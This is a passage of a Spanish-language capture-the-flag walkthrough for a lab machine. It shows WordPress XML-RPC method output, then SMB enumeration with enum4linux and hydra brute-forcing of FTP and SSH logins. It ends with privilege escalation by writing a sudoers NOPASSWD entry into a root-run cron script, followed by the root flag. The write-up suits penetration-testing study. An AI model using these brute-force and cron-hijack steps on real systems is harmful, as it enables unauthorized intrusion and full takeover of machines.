<value><string>system.listMethods</string></value>
<value><string>system.getCapabilities</string></value>
<value><string>demo.addTwoNumbers</string></value>
<value><string>demo.sayHello</string></value>
<value><string>pingback.extensions.getPingbacks</string></value>
<value><string>pingback.ping</string></value>
<value><string>mt.publishPost</string></value>
<value><string>mt.getTrackbackPings</string></value>
<value><string>mt.supportedTextFilters</string></value>
<value><string>mt.supportedMethods</string></value>
<value><string>mt.setPostCategories</string></value>
<value><string>mt.getPostCategories</string></value>
<value><string>mt.getRecentPostTitles</string></value>
<value><string>mt.getCategoryList</string></value>
<value><string>metaWeblog.getUsersBlogs</string></value>
<value><string>metaWeblog.deletePost</string></value>
<value><string>metaWeblog.newMediaObject</string></value>
<value><string>metaWeblog.getCategories</string></value>
<value><string>metaWeblog.getRecentPosts</string></value>
<value><string>metaWeblog.getPost</string></value>
<value><string>metaWeblog.editPost</string></value>
<value><string>metaWeblog.newPost</string></value>
<value><string>blogger.deletePost</string></value>
<value><string>blogger.editPost</string></value>
<value><string>blogger.newPost</string></value>
<value><string>blogger.getRecentPosts</string></value>
<value><string>blogger.getPost</string></value>
<value><string>blogger.getUserInfo</string></value>
<value><string>blogger.getUsersBlogs</string></value>
<value><string>wp.restoreRevision</string></value>
<value><string>wp.getRevisions</string></value>
<value><string>wp.getPostTypes</string></value>
<value><string>wp.getPostType</string></value>
<value><string>wp.getPostFormats</string></value>
<value><string>wp.getMediaLibrary</string></value>
<value><string>wp.getMediaItem</string></value>
<value><string>wp.getCommentStatusList</string></value>
<value><string>wp.newComment</string></value>
<value><string>wp.editComment</string></value>
<value><string>wp.deleteComment</string></value>
<value><string>wp.getComments</string></value>
<value><string>wp.getComment</string></value>
<value><string>wp.setOptions</string></value>
<value><string>wp.getOptions</string></value>
<value><string>wp.getPageTemplates</string></value>
<value><string>wp.getPageStatusList</string></value>
<value><string>wp.getPostStatusList</string></value>
<value><string>wp.getCommentCount</string></value>
<value><string>wp.deleteFile</string></value>
<value><string>wp.uploadFile</string></value>
<value><string>wp.suggestCategories</string></value>
<value><string>wp.deleteCategory</string></value>
<value><string>wp.newCategory</string></value>
<value><string>wp.getTags</string></value>
<value><string>wp.getCategories</string></value>
<value><string>wp.getAuthors</string></value>
<value><string>wp.getPageList</string></value>
<value><string>wp.editPage</string></value>
<value><string>wp.deletePage</string></value>
<value><string>wp.newPage</string></value>
<value><string>wp.getPages</string></value>
<value><string>wp.getPage</string></value>
<value><string>wp.editProfile</string></value>
<value><string>wp.getProfile</string></value>
<value><string>wp.getUsers</string></value>
<value><string>wp.getUser</string></value>
<value><string>wp.getTaxonomies</string></value>
<value><string>wp.getTaxonomy</string></value>
<value><string>wp.getTerms</string></value>
<value><string>wp.getTerm</string></value>
<value><string>wp.deleteTerm</string></value>
<value><string>wp.editTerm</string></value>
<value><string>wp.newTerm</string></value>
<value><string>wp.getPosts</string></value>
<value><string>wp.getPost</string></value>
<value><string>wp.deletePost</string></value>
<value><string>wp.editPost</string></value>
<value><string>wp.newPost</string></value>
<value><string>wp.getUsersBlogs</string></value>
</data></array>
</value>
</param>
</params>
</methodResponse>Con esto sabemos que esta funcionando el servidor y que es vulnerable...
Pero aun asi las credenciales que tienen los usuarios que encontramos no se puede hacer mucho, por lo que hacemos lo siguiente...
enum4linux -a <IP>Con esto vamos a ver toda la informacion de esta IP en todos sus puertos...
Info:
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Fri May 17 12:09:11 2024
=========================================( Target Information )=========================================
Target ........... 192.168.5.133
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
===========================( Enumerating Workgroup/Domain on 192.168.5.133 )===========================
[+] Got domain/workgroup name: WORKGROUP
===============================( Nbtstat Information for 192.168.5.133 )===============================
Looking up status of 192.168.5.133
RED <00> - H <ACTIVE> Workstation Service
RED <03> - H <ACTIVE> Messenger Service
RED <20> - H <ACTIVE> File Server Service
WORKGROUP <00> - <GROUP> H <ACTIVE> Domain/Workgroup Name
WORKGROUP <1e> - <GROUP> H <ACTIVE> Browser Service Elections
MAC Address = 00-00-00-00-00-00
===================================( Session Check on 192.168.5.133 )===================================
[+] Server 192.168.5.133 allows sessions using username '', password ''
================================( Getting domain SID for 192.168.5.133 )================================
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
==================================( OS information on 192.168.5.133 )==================================
[E] Can't get OS info with smbclient
[+] Got OS info for 192.168.5.133 from srvinfo:
RED Wk Sv PrQ Unx NT SNT red server (Samba, Ubuntu)
platform_id : 500
os version : 6.1
server type : 0x809a03
=======================================( Users on 192.168.5.133 )=======================================
Use of uninitialized value $users in print at ./enum4linux.pl line 972.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 975.
Use of uninitialized value $users in print at ./enum4linux.pl line 986.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 988.
=================================( Share Enumeration on 192.168.5.133 )=================================
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
kathy Disk Fred, What are we doing here?
tmp Disk All temporary files should be stored here
IPC$ IPC IPC Service (red server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP MSI
[+] Attempting to map shares on 192.168.5.133
//192.168.5.133/print$ Mapping: DENIED Listing: N/A Writing: N/A
//192.168.5.133/kathy Mapping: OK Listing: OK Writing: N/A
//192.168.5.133/tmp Mapping: OK Listing: OK Writing: N/A
[E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
//192.168.5.133/IPC$ Mapping: N/A Listing: N/A Writing: N/A
===========================( Password Policy Information for 192.168.5.133 )===========================
[+] Attaching to 192.168.5.133 using a NULL share
[+] Trying protocol 139/SMB...
[+] Found domain(s):
[+] RED
[+] Builtin
[+] Password Info for Domain: RED
[+] Minimum password length: 5
[+] Password history length: None
[+] Maximum password age: Not Set
[+] Password Complexity Flags: 000000
[+] Domain Refuse Password Change: 0
[+] Domain Password Store Cleartext: 0
[+] Domain Password Lockout Admins: 0
[+] Domain Password No Clear Change: 0
[+] Domain Password No Anon Change: 0
[+] Domain Password Complex: 0
[+] Minimum password age: None
[+] Reset Account Lockout Counter: 30 minutes
[+] Locked Account Duration: 30 minutes
[+] Account Lockout Threshold: None
[+] Forced Log off Time: Not Set
[+] Retieved partial password policy with rpcclient:
Password Complexity: Disabled
Minimum Password Length: 5
======================================( Groups on 192.168.5.133 )======================================
[+] Getting builtin groups:
[+] Getting builtin group memberships:
[+] Getting local groups:
[+] Getting local group memberships:
[+] Getting domain groups:
[+] Getting domain group memberships:
==================( Users on 192.168.5.133 via RID cycling (RIDS: 500-550,1000-1050) )==================
[I] Found new SID:
S-1-22-1
[I] Found new SID:
S-1-5-32
[I] Found new SID:
S-1-5-32
[I] Found new SID:
S-1-5-32
[I] Found new SID:
S-1-5-32
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\peter (Local User)
S-1-22-1-1001 Unix User\RNunemaker (Local User)
S-1-22-1-1002 Unix User\ETollefson (Local User)
S-1-22-1-1003 Unix User\DSwanger (Local User)
S-1-22-1-1004 Unix User\AParnell (Local User)
S-1-22-1-1005 Unix User\SHayslett (Local User)
S-1-22-1-1006 Unix User\MBassin (Local User)
S-1-22-1-1007 Unix User\JBare (Local User)
S-1-22-1-1008 Unix User\LSolum (Local User)
S-1-22-1-1009 Unix User\IChadwick (Local User)
S-1-22-1-1010 Unix User\MFrei (Local User)
S-1-22-1-1011 Unix User\SStroud (Local User)
S-1-22-1-1012 Unix User\CCeaser (Local User)
S-1-22-1-1013 Unix User\JKanode (Local User)
S-1-22-1-1014 Unix User\CJoo (Local User)
S-1-22-1-1015 Unix User\Eeth (Local User)
S-1-22-1-1016 Unix User\LSolum2 (Local User)
S-1-22-1-1017 Unix User\JLipps (Local User)
S-1-22-1-1018 Unix User\jamie (Local User)
S-1-22-1-1019 Unix User\Sam (Local User)
S-1-22-1-1020 Unix User\Drew (Local User)
S-1-22-1-1021 Unix User\jess (Local User)
S-1-22-1-1022 Unix User\SHAY (Local User)
S-1-22-1-1023 Unix User\Taylor (Local User)
S-1-22-1-1024 Unix User\mel (Local User)
S-1-22-1-1025 Unix User\kai (Local User)
S-1-22-1-1026 Unix User\zoe (Local User)
S-1-22-1-1027 Unix User\NATHAN (Local User)
S-1-22-1-1028 Unix User\www (Local User)
S-1-22-1-1029 Unix User\elly (Local User)
[+] Enumerating users using SID S-1-5-21-864226560-67800430-3082388513 and logon username '', password ''
S-1-5-21-864226560-67800430-3082388513-501 RED\nobody (Local User)
S-1-5-21-864226560-67800430-3082388513-513 RED\None (Domain Group)
[+] Enumerating users using SID S-1-5-32 and logon username '', password ''
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)
===============================( Getting printer info for 192.168.5.133 )===============================
No printers returned.
enum4linux complete on Fri May 17 12:09:36 2024Por lo que vemos nos saca informacion de smb importante muchos nombres de usuario o posibles contraseñas, por lo que nos guardamos esto en un .txt ...
#userlist.txt
S-1-22-1-1000 Unix User\peter (Local User)
S-1-22-1-1001 Unix User\RNunemaker (Local User)
S-1-22-1-1002 Unix User\ETollefson (Local User)
S-1-22-1-1003 Unix User\DSwanger (Local User)
S-1-22-1-1004 Unix User\AParnell (Local User)
S-1-22-1-1005 Unix User\SHayslett (Local User)
S-1-22-1-1006 Unix User\MBassin (Local User)
S-1-22-1-1007 Unix User\JBare (Local User)
S-1-22-1-1008 Unix User\LSolum (Local User)
S-1-22-1-1009 Unix User\IChadwick (Local User)
S-1-22-1-1010 Unix User\MFrei (Local User)
S-1-22-1-1011 Unix User\SStroud (Local User)
S-1-22-1-1012 Unix User\CCeaser (Local User)
S-1-22-1-1013 Unix User\JKanode (Local User)
S-1-22-1-1014 Unix User\CJoo (Local User)
S-1-22-1-1015 Unix User\Eeth (Local User)
S-1-22-1-1016 Unix User\LSolum2 (Local User)
S-1-22-1-1017 Unix User\JLipps (Local User)
S-1-22-1-1018 Unix User\jamie (Local User)
S-1-22-1-1019 Unix User\Sam (Local User)
S-1-22-1-1020 Unix User\Drew (Local User)
S-1-22-1-1021 Unix User\jess (Local User)
S-1-22-1-1022 Unix User\SHAY (Local User)
S-1-22-1-1023 Unix User\Taylor (Local User)
S-1-22-1-1024 Unix User\mel (Local User)
S-1-22-1-1025 Unix User\kai (Local User)
S-1-22-1-1026 Unix User\zoe (Local User)
S-1-22-1-1027 Unix User\NATHAN (Local User)
S-1-22-1-1028 Unix User\www (Local User)
S-1-22-1-1029 Unix User\elly (Local User)Y ahora lo dejamos en solo los usuarios con es siguiente comando...
cat userlist.txt | cut -d"\\" -f2 | cut -d" " -f1 > users.txtQuedaria tal que asi...
peter
RNunemaker
ETollefson
DSwanger
AParnell
SHayslett
MBassin
JBare
LSolum
IChadwick
MFrei
SStroud
CCeaser
JKanode
CJoo
Eeth
LSolum2
JLipps
jamie
Sam
Drew
jess
SHAY
Taylor
mel
kai
zoe
NATHAN
www
ellyY ahora a probarlo en los diferentes puertos, pero en mi caso utilizaremos el ftp que es con el que funciona...
hydra -L users.txt -P users.txt ftp://<IP> -t 64Info:
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-17 12:13:19
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 900 login tries (l:30/p:30), ~15 tries per task
[DATA] attacking ftp://192.168.5.133:21/
[21][ftp] host: 192.168.5.133 login: SHayslett password: SHayslett
[STATUS] 908.00 tries/min, 908 tries in 00:01h, 6 to do in 00:01h, 50 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-17 12:14:34Nos saca unas credenciales...
ftp SHayslett@<IP>Dentro de este ftp nos encontaremos muchas cosas, pero entre ellas estara un archivo passwd, nos lo descargamos y contendra todo el passwd del servidor, por lo que lo limpiamos para que solo aparezca los usuario y tiramos un hydra al ssh...
cat passwd | cut -d"\\" -f2 | cut -d":" -f1 > passwdlimp.txthydra -L passlimp.txt -P passlimp.txt ssh://<IP> -t 64Info:
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-17 13:11:05
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 1089 login tries (l:33/p:33), ~18 tries per task
[DATA] attacking ssh://192.168.5.133:22/
[22][ssh] host: 192.168.5.133 login: SHayslett password: SHayslettVemos que sacamos un usuario, por lo que nos conectamos con el...
ssh SHayslett@<IP>Una vez dentro vamos a los crontabs donde habra uno interesante...
cd /etc/cron.d/Dentro de esta carpeta se encuentran los crontabs que se estan ejecutando, 1 de ellos se llama logrotate y si lo leemos...
*/5 * * * * root /usr/local/sbin/cron-logrotate.shVemos que se esta ejecutando por root cada 5 minutos un .sh por lo que vamos a esa ubicacion...
cd /usr/local/sbin/cat cron-logrotate.sh
#Dentro del .sh
#Simon, you really need to-do something about thisPor lo que escalaremos desde ahi los privielgios, poniendo dentro de este archivo lo siguiente...
vi cron-logrotate.sh
#Dentro de vi
echo "SHayslett ALL=(ALL) NOPASSWD:ALL" | sudo tee -a /etc/sudoers
#<esc>
#:wq
#<ENTER>Con esto esperamos 5 minutos y ya seriamos root haciendo sudo su, una vez llendo a la carpeta de root veremos la flag...
flag.txt (Flag_root)
~~~~~~~~~~<(Congratulations)>~~~~~~~~~~
.-'''''-.
|'-----'|
|-.....-|
| |
| |
_,._ | |
__.o` o`"-. | |
.-O o `"-.o O )_,._ | |
( o O o )--.-"`O o"-.`'-----'`
'--------' ( o O o)
`----------`
b6b545dc11b7a270f4bad23432190c75162c4a2bLast updated